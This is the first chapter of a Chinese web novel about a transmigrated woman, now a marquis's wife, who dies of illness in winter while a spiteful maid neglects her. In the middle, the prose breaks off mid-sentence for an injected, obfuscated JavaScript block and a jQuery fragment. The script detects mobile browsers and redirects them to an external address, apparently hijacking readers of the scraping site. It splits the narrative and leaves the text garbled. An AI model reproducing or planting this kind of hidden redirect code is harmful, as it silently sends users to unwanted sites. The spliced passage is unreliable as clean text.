京城已经到了暮冬时节,天气寒凉,草木凋零。
永安侯府后院,梧桐院内早已不复以往的热闹,丫鬟窝在屋子里不愿出来走动,院门紧闭,看门的小厮不知道跑哪里躲懒去了。
院中主人昔日精心照料的花草早在寒霜的欺凌下枯萎,独留小池塘三两只枯荷屹立在水中,仿佛随时会在某个时刻,悄然泯没。
偏房中,红香和梅儿两个丫鬟凑在一起说小话。
红香抱着汤婆子隔着门看了眼外面,皱着眉道:“今年这鬼天气,要冻死人了。”
“是啊,好冷。”梅儿羡慕地看着她手里的汤婆子,搓了搓手,跟着附和道:“而且这天气也奇怪得很,都这么冷了,愣是一场雪都没落下来。我记得去年这个时候夫人还带着我们——”
话讲到一半,梅儿才反应过来自己说了不该说的话,但是她向来不是个聪明的,不知道该怎么去找补,只能突兀地闭嘴不再继续说下去。
小心地抬头看了一眼旁边的红香,见她眉头紧皱,面色不虞,只能紧张地低下头,心里踌躇不安。
红香是夫人身边的一等丫鬟,自从夫人病倒后这院子里大大小小的事情都是她在安排,本来院子里还有好几个不服气的,全都被她打发出去做低等的活计,寒冬腊月让他们用冷水洗衣擦地,整天累死累活不得闲,不过半个月手上长满了冻疮,活脱脱累得不成人形了。
她不明白红香为什么突然像变了一个人一般,但是她经过这几个月逐渐明白,红香不喜欢夫人,或者说憎恨夫人。
她想不懂,但是她也不想懂。这些都不是她该掺和的,她只想和红香套套近乎,让自己在这个冬天好过一点,但是她嘴笨,偏偏犯了禁忌。
“是啊,这大冷的天,夫人还病着呢,东院里管事的赵嬷嬷多一点炭火都不愿意分下来。整天没日没夜给她熬药,病还没好一点,现在还连累的咱们连口热水喝不上。”红香果真聪明三言两语就将她们受罪的原因推到还躺在病榻上的侯夫人身上,仿佛整天不离手的汤婆子不存在一般。
梅儿自是转不过来这个弯,想到今年入冬来好几次都是用冷水洗手洗脸,有时候连一口热水都喝不上,去问小厨房,都说炭火都被用来给夫人熬药了,她自然也没有办法,连抱怨都不知道该和谁抱怨。
再看红香没有怪罪自己的样子,才小心翼翼地抬起头,跟着诉了几句苦,“是啊,是啊,这样的天,我可不想再喝凉水了。”
“各种名贵的药材吃进肚子里,还是这副半死不活的样子,还连累我们被其他院的人瞧不起。”红香冷嗤一声,“要我说啊,她就没有享福的命。”
梅儿到底不敢在背后嚼主子舌根,自是不敢多言,红香也知道她向来是个胆小怯懦的,也怕言多必失,不再继续聊这些,转移了话题。
不远处的主屋内,门窗紧闭,光线昏暗,空气中弥漫着挥之不去的药香味。
林清意从昏睡中醒过来,只觉得头疼欲裂,浑身无力,但是精神却是病倒后这数月来难得的清明。
她只觉喉中苦涩难忍,下意识地喊了一声“鸢儿”,声音喑哑,细若蚊蝇,并未得到回应。林清意仔细去回想自己病中的混沌时光,鸢儿似乎一直未曾出现在她身边,看来大概是被其他人指使开了,不然以那丫头的性子,肯定要时刻守在她身边的。
心口处抽疼了下,试图撑起身的胳膊一下子泄了力道,林清意重新跌回床铺上。
身上锦被已经乱了,冷风顺着缝隙吹进被窝,吹得她浑身发冷,头脑却格外清醒。
回首这短短数载,她......不知道自己怎么就走到了这一步。
五年前,她还是刚毕业的大学生,一场意外,让她穿越到这个朝代,原身虽是官宦家的小姐,但是处境实在艰难。
名义上的爹不闻不问,娘又软弱无能,被别人指着脑门骂都不会出声反驳一句。
她管不了这些乱糟糟的许多事,但是她不服气,她想给自己挣个好前程。
她被困后宅,抓住所有能抓住的机会,千挑万选的给自己选了个后宅干净,美名在外的“夫婿”。
她带着从杨府好不容易算计来的嫁妆,买铺面,置田地,只想着往后在这永安侯府的日子如果实在不好过,自己最起码还有条退路可走。
可是谁能想到......
一场小病,就几乎要将她的生命消耗殆尽。
“咳咳咳!”林清
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206350|197357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意忍不住咳嗽起来,持续不断地震动,让喉咙和肺有一种撕裂般的痛楚,她忍不住将身体蜷缩成一团,仿佛这样就能抵消那份痛苦。
她能够清晰地感受到自己生命的流逝。
屋里的动静,外面没有人听得到,林清意独自躺在病榻上,等着死亡的到来。
她只是还不明白,难道命运终究是很难由谁去掌握的?明明自己做了这么多,仅仅只是为了好好生活,无拘无束的活着。
可是偏偏老天给她开了个大玩笑,不需要什么阴谋诡计,也不需要什么弱肉强食,一个小灾小病就能打得她措手不及,无力抵抗。
仿佛是对她的傲气和不服气的笑话。
林清意逐渐感受不到喉咙的干涩、肺部的疼痛,后来慢慢的,身体的冷意也逐渐消失,眼皮沉重,思绪也逐渐混乱。
在她闭眼的那一刻,脑海里想的却是,前不久她病情严重,侯府又请了一位大夫前来看病,那头发花白的老大夫给她把完脉后,和她说道:“夫人病情并不严重,只是恰逢初冬将至,天气严寒,只要按时吃药,注意保暖,想来等到来年春天就能大好。”
等来年春天,就好了。
可是,她终究没有等到属于她的春天。
……
院外,阴沉了许久的天空,终于落下了这年冬天的第一场雪,雪花随着北风飘落在屋檐、地面、枯枝上,转瞬又化成水珠,染湿了一片。
雪越下越大,片刻便落了一层薄薄的白,不知道是哪个小丫鬟出门看到了这幅场景,惊呼了一声:“下雪了!”
红香和梅儿一同出了门,外面果然飞雪连绵,刚刚还不见人影的梧桐院,瞬间冒出了许多人。
有年岁小的丫鬟,被使唤去给夫人喂药,端着碗进了主屋,进去不过片刻,屋内就传来一道清脆地碰撞声。
红香赏雪的好心情被惊扰,抬脚就要去教训那个不懂规矩的小丫鬟,可是还没等她跨出脚,那丫鬟就匆忙地冲了出来,满脸惊慌地喊道:“夫人,夫人她断气了!”
宣德二十七年冬,永安侯夫人杨静娇,因病逝世。
同日,京城百姓等到了期盼许久的冬雪,惊呼声被掩盖在白雪之下,无人在意。